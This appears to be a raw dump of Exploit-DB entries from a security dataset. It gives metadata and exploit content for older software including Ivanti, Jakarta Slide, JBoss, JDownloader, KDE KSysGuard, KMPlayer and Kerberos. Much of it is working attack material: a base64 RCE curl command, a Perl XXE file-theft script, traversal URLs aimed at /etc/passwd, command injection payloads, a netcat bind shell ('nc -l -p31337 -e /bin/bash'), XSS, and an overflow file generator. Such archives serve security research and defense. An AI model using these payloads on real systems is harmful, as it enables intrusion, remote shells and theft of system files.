deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19749
Description: ISC BIND 4.9.7/8.x - Traffic Amplification and NS Route Discovery
Type: remote
Platform: multiple
Date: 2000-02-14
Author: Sebastian

Exploit:
source: https://www.securityfocus.com/bid/983/info

ISC BIND 4.9.7/8.1/8.1.1/8.1.2/8.2/8.2.1/8.2.2 Traffic Amplification and NS Route Discovery Vulnerability

A potential denial of service (hence forth referred to as DoS) attack exists in the default configuration of many popular DNS servers. If a server allows for remote hosts to query it for hosts other than those it serves, causing recursion, it may be possible to cause traffic amplification. While the numbers of packets amplified by a single server will not be likely to cause a denial of service, by exploiting the hierarchical nature of DNS, it becomes possible to cause large amounts of traffic to be directed to a single site.

The vulnerability exists in the way name servers will behave in the event that they are unable to receive replies for a domain from a nameserver they consider authoritative. When a nameserver receives a query, it is typically forwarded up a chain of DNS server. If the query cannot be resolved because there is no nameserver listening on the remote host, every forwarding nameserver will attempt to resolve the nameserver themselves. These are typically retried three times, at 0, 12 and 24 seconds. In this case, the traffic is significantly multiplied. By abusing multiple nameservers, it becomes possible to send a large quantity of data to a given network, with packet sizes as large as 500 bytes.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19749.tar.gz
Exploit-DB #50833
Description: Ivanti Endpoint Manager 4.6 - Remote Code Execution (RCE)
Type: remote
Platform: multiple
Date: 2022-03-22
Author: d7x

Exploit:
# Exploit Title: Ivanti Endpoint Manager 4.6 - Remote Code Execution (RCE)
# Date: 20/03/2022 
# Exploit Author: d7x 
# Vendor Homepage: https://www.ivanti.com/ 
# Software Link: https://forums.ivanti.com/s/article/Customer-Update-Cloud-Service-Appliance-4-6 
# Version: CSA 4.6 4.5 - EOF Aug 2021 
# Tested on: Linux x86_64
# CVE : CVE-2021-44529

###
This is the RCE exploit for the following advisory (officially discovered by Jakub Kramarz): 
https://forums.ivanti.com/s/article/SA-2021-12-02?language=en_US

Shoutouts to phyr3wall for providing a hint to where the obfuscated code relies

@d7x_real
https://d7x.promiselabs.net
https://www.promiselabs.net
###

# cat /etc/passwd
curl -i -s -k -X $'GET' -b $'e=ab; exec=c3lzdGVtKCJjYXQgL2V0Yy9wYXNzd2QiKTs=; pwn=; LDCSASESSID=' 'https://.../client/index.php' | tr -d "\n" | grep -zPo '<c123>\K.*?(?=</c123>)'; echo

# sleep for 10 seconds
curl -i -s -k -X $'GET' -b $'e=ab; exec=c2xlZXAoMTApOw==; pwn=; LDCSASESSID=' 'https://.../client/index.php' | tr -d "\n" | grep -zPo '<c123>\K.*?(?=</c123>)'; echo
Exploit-DB #20601
Description: iweb hyperseek 2000 - Directory Traversal
Type: remote
Platform: multiple
Date: 2001-01-28
Author: MC GaN

Exploit:
source: https://www.securityfocus.com/bid/2314/info

A specially crafted URL, composed of '../' and '%00', will disclose the directory listing and files of the target with read permissions. 

http://target/cgi-bin/suche/hsx.cgi?show=../../../../../../../etc/passwd%00
Exploit-DB #4567
Description: Jakarta Slide 2.1 RC1 - Remote File Disclosure
Type: remote
Platform: multiple
Date: 2007-10-24
Author: kingcope

Exploit:
#!/usr/bin/perl
#******************************************************
# Jakarta Slide Remote File Disclosure Zeroday Xploit
# eliteb0y / 2007
#
# thanx to the whole team & andi :)
# +++KEEP PRIV8+++
#
# This Bug may reside in different WebDav implementations,
# Warp your mind!
# +You will need auth for the exploit to work...
#******************************************************

use IO::Socket;
use MIME::Base64; ### FIXME! Maybe support other auths too ?

# SET REMOTE PORT HERE
$remoteport = 8080;

sub usage {
	print "Jakarta Slide Remote File Disclosure Zeroday Xploit\n";
	print "eliteb0y / 2007\n";
	print "usage: perl JAKARTAXPL <remotehost> <slide file> <file to retrieve> [username] [password]\n";
	print "example: perl JAKARTAXPL www.hostname.com /slide/users/guest /etc/passwd guest guest\n";exit;
}

if ($#ARGV < 2) {usage();}

$hostname = $ARGV[0];
$webdavfile = $ARGV[1];
$remotefile = $ARGV[2];

$username = $ARGV[3];
$password = $ARGV[4];

my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
                              PeerPort => $remoteport,
                              Proto    => 'tcp');
                              
$|=1;
$BasicAuth = encode_base64("$username:$password");

$KRADXmL = 
"<?xml version=\"1.0\"?>\n"
."<!DOCTYPE REMOTE [\n"
."<!ENTITY RemoteX SYSTEM \"$remotefile\">\n"
."]>\n"
."<D:lockinfo xmlns:D='DAV:'>\n"
."<D:lockscope><D:exclusive/></D:lockscope>\n"
."<D:locktype><D:write/></D:locktype>\n"
."<D:owner>\n"
."<D:href>\n"
."<REMOTE>\n"
."<RemoteX>&RemoteX;</RemoteX>\n"
."</REMOTE>\n"
."</D:href>\n"
."</D:owner>\n"
."</D:lockinfo>\n";

print "Jakarta Slide Remote File Disclosure Zeroday Xploit\n";
print "eliteb0y / 2007\n";
print "Launching Remote Exploit...\n";

$ExploitRequest =
 "LOCK $webdavfile HTTP/1.1\r\n"
."Host: $hostname\r\n";

if ($username ne "") {
$ExploitRequest .= "Authorization: Basic $BasicAuth";	
}
$ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: ".length($KRADXmL)."\r\n\r\n" . $KRADXmL;

print $sock $ExploitRequest;

while(<$sock>) {
	print;
}

# milw0rm.com [2007-10-24]
Exploit-DB #12033
Description: Java Mini Web Server 1.0 - Directory Traversal / Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2010-04-03
Author: cp77fk4r

Exploit:
# Exploit Title: Java Mini Web Server <= 1.0 Path Draversal & Cross Site Scripting.
# Date: 20/03/10
# Author: cp77fk4r | empty0page[SHIFT+2]gmail.com<http://gmail.com> | www.DigitalWhisper.co.il<http://www.DigitalWhisper.co.il>
# Software Link: http://www.jibble.org/miniwebserver/
# Version: <= 1.0
# Tested on: JRE build 1.6.0_17-b04
#
##[Cross Site Scripting]
Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it. (OWASP)
#
GET /%00">[YOUR_XSS_HERE]<"
#
#e.g:
-HTTP REQUEST:
GET %00"><font color=red>Work?</font><" HTTP/1.1
HOST: localhost
#
-HTTP RESPONSE (DATA):
<html><head><title>Index of %00"><font color=red>Work?</font><"/</title></head><body><h3>Index of %00"><font color=red>Work?</font><"/</h3><p>
<a href="%00"><font color=red>Work?</font><"/SimpleWebServer.jar">SimpleWebServer.jar</a> <br>
</p><hr><p>SimpleWebServer  http://www.jibble.org/</p></body><html>#
#
#
##[Path Traversal:]
A Path Traversal attack aims to access files and directories that are stored outside the web root folder. By browsing the application, the attacker looks for absolute links to files stored on the web server. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration and critical system files, limited by system operational access control. The attacker uses “../” sequences to move up to root directory, thus permitting navigation through the file system. (OWASP)
#
http://localhost/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c1.txt
("1.txt" located in the root directory on the volume)
#
#
[e0f]
Exploit-DB #23221
Description: JBoss 3.0.8/3.2.1 - HSQLDB Remote Command Injection
Type: remote
Platform: multiple
Date: 2003-10-06
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/8773/info

A remote command-injection vulnerability has been reported in JBoss. The issue is reportedly exposed via the HSQLDB component, which is a SQL database server that manages JMS connections. Because of a number of flaws, an attacker can pass commands to the HSQLDB component via the port it listens on. Note that the port may vary between versions; by default it is 1701/TCP for JBoss 3.2.1 and 1476/TCP for 3.0.8.

Attackers can exploit this issue to mount a number of attacks, including execution of database commands, denial-of-service attacks, log manipulation, information disclosure, and execution of operating system commands on some supported platforms.

This issue is reported to exist with JBoss 3.2.1/3.0.8 on any Java 1.4.x-enabled platforms. Other versions may also be affected. 

<target name="cmdinject">
<sql
classpath="hsqldb.jar"
driver="org.hsqldb.jdbcDriver"
url="jdbc:hsqldb:hsql://${host}:${port}"
userid="sa"
password=""
print = "true"
>
CREATE ALIAS COMPDEBUG FOR
"org.apache.xml.utils.synthetic.JavaUtils.setDebug"
CREATE ALIAS SETPROP FOR "java.lang.System.setProperty";
CREATE ALIAS COMPILE FOR
"org.apache.xml.utils.synthetic.JavaUtils.JDKcompile";

CALL COMPDEBUG(true);
CALL SETPROP('org.apache.xml.utils.synthetic.javac','cmd.exe');
CALL COMPILE('/c REGEDIT.EXE','');
</sql>
</target>
Exploit-DB #25842
Description: JBoss 3.x/4.0.2 - HTTP Request Remote Information Disclosure
Type: remote
Platform: multiple
Date: 2005-06-17
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/13985/info

JBoss is prone to a remote information-disclosure vulnerability. The issue occurs in the 'org.jboss.web.WebServer' class and is due to a lack of sufficient sanitization of user-supplied request data.

Information that attackers can harvest through leveraging this issue may aid in further attacks against the affected service. 

Example 1 (Installation path disclosure): [3.2.x and 4.0.2]
Request:
>>telnet [jbosshost] 8083
>>GET %. HTTP/1.0

Reply:
HTTP/1.0 400 C:\Programme\jboss-4.0.2\server\default\conf (Zugriff
verweigert)
Content-Type: text/html

Example 2 (Config file download): [4.0.2]
Request:
>>telnet [jbosshost] 8083
>>GET %server.policy HTTP/1.0
Exploit-DB #33615
Description: JDownloader - 'JDExternInterface.java' Remote Code Execution
Type: remote
Platform: multiple
Date: 2010-02-08
Author: apoc

Exploit:
source: https://www.securityfocus.com/bid/38143/info

JDownloader is prone to a vulnerability that lets remote attackers execute arbitrary code.

Attackers can exploit this issue to execute arbitrary code within the context of the affected webserver process.

Versions prior to JDownloader 0.9.334 are vulnerable. 

<form action="http://www.example.com:9666/flash/addcrypted2" method="post">
<textarea name="jk">
function f() {
    var run = java.lang.Runtime.getRuntime();
    run.exec('/usr/bin/xclock');

    return '42';
}
&lt;/textarea&gt;
<input type="hidden" name="passwords" value="invalid" />
<input type="hidden" name="source" value="http://example.com/invalid" />
<input type="hidden" name="crypted" value="invalid" />
<input type="submit" value="CLICK" />
</form>

or:

http://www.example.com:9666/flash/addcrypted2?jk=function+f()+%7B+var+run+%3D
+java.lang.Runtime.getRuntime()%3B+run.exec('%2Fusr%2Fbin%2Fxclock')%3B
+return+'42'%3B+%7D&passwords=invalid&source=http://example.com/invalid
&crypted=invalid
Exploit-DB #33802
Description: Jenkins Software RakNet 3.72 - Remote Integer Underflow
Type: remote
Platform: multiple
Date: 2010-03-25
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/38974/info

RakNet is prone to a remote integer-underflow vulnerability because it fails to sufficiently validate an integer value.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application. Failed attempts may trigger a denial-of-service condition.

RakNet 3.72 is affected; other versions may be vulnerable as well.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14286.zip
Exploit-DB #17068
Description: jHTTPd 0.1a - Directory Traversal
Type: remote
Platform: multiple
Date: 2011-03-29
Author: AutoSec Tools

Exploit:
# ------------------------------------------------------------------------
# Software................jHTTPd 0.1a
# Vulnerability...........Directory Traversal
# Threat Level............Serious (3/5)
# Download................http://developer.gauner.org/jhttpd/
# Discovery Date..........3/28/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
# 
# 
# --Description--
# 
# A directory traversal vulnerability in jHTTPd 0.1a can be exploited to
# read files outside of the web root.
# 
# 
# --Exploit--
# 
# ..\/
# ..//
# ..\
# ../
# 
# 
# --PoC--

import socket, urllib

host = 'localhost'
port = 8082
file = 'windows/win.ini'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)    

print 'sending'

s.send('GET ' + '../' * 16 + file + ' HTTP/1.1\r\n'
    'Host: ' + host + '\r\n\r\n')
print s.recv(8192) + s.recv(8192)
Exploit-DB #25191
Description: JoWood Chaser 1.0/1.50 - Remote Buffer Overflow
Type: remote
Platform: multiple
Date: 2005-03-07
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/12733/info

A remote buffer overflow vulnerability affects JoWood Chaser. This issue is due to a failure of the application to securely copy user-supplied input into finite process buffers.

An attacker may leverage this issue to execute arbitrary code in affected clients or trigger a denial of service condition in affected servers. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25191.zip
Exploit-DB #24981
Description: JPegToAvi 1.5 - File List Buffer Overflow
Type: remote
Platform: multiple
Date: 2004-12-15
Author: James Longstreet

Exploit:
source: https://www.securityfocus.com/bid/11976/info

jpegtoavi is prone to a buffer overflow. This issue is exposed when the software handles a malformed file list. As the list originates from an external or untrusted source, this issue is considered remote in nature.

If this vulnerability is successfully exploited, it will result in execution of arbitrary code in the context of the user running the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24981.zip
Exploit-DB #11817
Description: KDE 4.4.1 - Ksysguard Remote Code Execution (via Cross Application Scripting)
Type: remote
Platform: multiple
Date: 2010-03-20
Author: emgent

Exploit:
# Exploit Title: Ksysguard RCE via Cross Application Scripting
# Date: 2010 03 20
# Author: Emanuele 'emgent' Gentili
# Code: http://www.backtrack.it/~emgent/exploits/20100320_Ksysguard_RCE_CAS.txt
# Version: <= 4.4.1
# CVE : N/A
# Vendor: http://www.kde.org
# Video: http://www.backtrack.it/~emgent/videos/16032010_-_SecuritySummit_CAS_OWNING_KDE.mov
# About CAS: http://en.wikipedia.org/wiki/Cross_Application_Scripting 
#            http://it.wikipedia.org/wiki/Cross_Application_Scripting



halfapple:~ emanuelegentili$ cat ph33r.sgrd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE KSysGuardWorkSheet>
<WorkSheet title="She" interval="2" locked="0" rows="2" columns="2" >
<host command="nc -l -p31337 -e /bin/bash" /> </WorkSheet>
halfapple:~ emanuelegentili$
Exploit-DB #24414
Description: Keene Digital Media Server 1.0.2 - Directory Traversal
Type: remote
Platform: multiple
Date: 2004-08-26
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/11057/info

It is reported that DMS is susceptible to a directory traversal vulnerability.

The directory traversal issue is present upon requesting files outside the webroot of the application using hex encoded directory traversal character sequences to create a relative path to the target file.

This vulnerability will allow a remote attacker to retrieve potentially sensitive files, possibly aiding them in further system compromise.

Version 1.0.2 of the software is reported vulnerable to this issue. Other versions may also be affected. 

http://www.example.com/%2E%2E%5Csystem.log
http://www.example.com/%2E%2E\system.log
Exploit-DB #20181
Description: Kerberos 4 4.0/5 5.0 - KDC Spoofing
Type: remote
Platform: multiple
Date: 2000-08-28
Author: Dug Song

Exploit:
source: https://www.securityfocus.com/bid/1616/info

Kerberos is a cryptographic authentication protocol that allows users of a network to access services without transmitting cleartext passwords. A common implementation of the protocol includes a login service which is vulnerable to an attack which involves spoofing responses from the Key Distribution Center (KDC). The login service authenticates a user by first requesting a ticket granting ticket (TGT) from the authentication server. If the TGT can be decrypted using the password supplied by the user, the login service attempts to verify the identity of the KDC by making a request with the received TGT for a service ticket for itself. The service ticket returned by the KDC is encrypted with a secret shared between the KDC and the service host. If the service ticket cannot be verified with the service's secret key it is assumed that the KDC is not authentic. If the login service has not been registered as a principal with the KDC or the service's secret key has not been installed on the host the login service will proceed without verification that the TGT was returned by the authentic KDC. In these circumstances it is possible to log into the server illicitly if an attacker can spoof responses from the Key Distribution Center.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20181.tar.gz
Exploit-DB #30231
Description: Key Focus Web Server 3.1 - Index.WKF Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2007-06-25
Author: Shay Priel

Exploit:
source: https://www.securityfocus.com/bid/24623/info

Key Focus Web Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Key Focus Web Server 3.1.0; other versions may also be affected. 

http://www.example.com:9727/index.wkf?opmenu=0&opsubmenu=aaaa%22%3E%3Cscript%3Ealert('xss');%3C/script%3E
Exploit-DB #35398
Description: KMPlayer 2.9.3.1214 - '.ksf' Remote Buffer Overflow
Type: remote
Platform: multiple
Date: 2011-02-28
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/46608/info

KMPlayer is prone to a remote buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

KMPlayer 2.9.3.1214 is vulnerable; other versions may also be affected.

#!/usr/bin/perl

###
# Title : KMPlayer 'Skins' V<=2.9.3.1 Buffer Overflow
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com
# Home : HMD/AM (30008/04300) - Algeria [PII_REDACTED]8701)
# Twitter page : twitter.com/kedans
# Tested on : windows XP SP3 Fran�ais & Arabic
# Target :  KMPlayer Version <= 2.9.3.1214
###

# Note : This Exploit BOF is Special Greets to Member ' Overfolw ' From sec4ever.com

#START SYSTEM /root@MSdos/ : 
system("title KedAns-Dz");
system("color 1e");
system("cls");

print "\n\n".                  
      "          ||========================================||\n".
	  "      ||                                        ||\n".
	  "      ||   KMPlayer 'Skins' V<=2.9.3.1214       ||\n".
	  "      ||      Exploit Buffer Overflow           ||\n".
	  "      ||    Created BY KedAns-Dz                ||\n".
	  "      ||   ked-h(at)hotmail(dot)com             ||\n".
	  "      ||                                        ||\n".
	  "      ||========================================||\n\n\n";
sleep(2);
print "\n";
print " [!] Please Wait Till c0de Generate...\n";
my $ked = "\x41" x 100000000 ; # Integer Overflow
my $Buf = 
"\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00\x51\x6a\x95\x35\xaf\xa6". # Skin index
"\xbd\x3f\x45\x08\x00\x00\x3f\x00\x00\x00".
"$ked"; # end Skin index
$file = "KedSkinX.ksf"; # Evil File ( KMP.Skin.file )
open (F ,">$file");
print F $Buf;
sleep (2);
print "\n [+] Creat File : $file , Succesfully ! \n";
close (F);

#================[ Exploited By KedAns-Dz * HST-Dz * ]=========================
# GreetZ to : Islampard * Dr.Ride * Zaki.Eng * BadR0 * NoRo FouinY * Red1One
# XoreR * Mr.Dak007 * Hani * TOnyXED * Fox-Dz * Massinhou-Dz ++ all my friends ;
# > Algerians <  [D] HaCkerS-StreeT-Team [Z] > Hackers <
# My Friends on Facebook : Nayla Festa * Dz_GadlOl * MatmouR13 ...all Others
# 4nahdha.com : TitO (Dr.Ride) *  MEN_dz * Mr.LAK (Administrator) * all members ...
# sec4ever.com members Dz : =>>
#  Ma3sTr0-Dz * Indoushka * MadjiX * BrOx-Dz * JaGo-Dz ... all Others
# hotturks.org : TeX * KadaVra ... all Others
# Kelvin.Xgr ( kelvinx.net)
#===========================================================================
Exploit-DB #20491
Description: KTH Kerberos 4 - Arbitrary Proxy Usage
Type: remote
Platform: multiple
Date: 2000-12-08
Author: Jouko Pynnonen

Exploit:
source: https://www.securityfocus.com/bid/2090/info

Kerberos is a widely used network service authentication system. The version of Kerberos developed and maintained by KTH (Swedish Royal Institute of Technology) contains a vulnerability that may allow/assist in a local or remote root compromise.

KTH Kerberos uses an environment variable called 'krb4_proxy' when a proxy server is required to retrieve tickets via HTTP. KTH Kerberos-supported services will contact the supplied proxy server (the value of krb4_proxy) instead of the default Kerberos server if this variable is set.

It is possible for malicious remote users (before authenticating) to remotely set the value of this variable and have the server program contact a fake Kerberos server. This would allow the attacker to intercept authentication requests and/or send false replies to the service they are attempting to use. An attacker, for example, could send the environment variable via telnet to a Kerberos supporting telnet daemon.

This attack allows malicious users in control of a fake Kerberos server to exploit a buffer overflow vulnerability (See Bugtraq ID 2091) in the Kerberos shared libraries with malformed replies. If exploited, the combined vulnerabilities may provide remote root access to attackers. 

telnet> environ define krb4_proxy http://your.host:80
telnet> environ export krb4_proxy
telnet> open localhost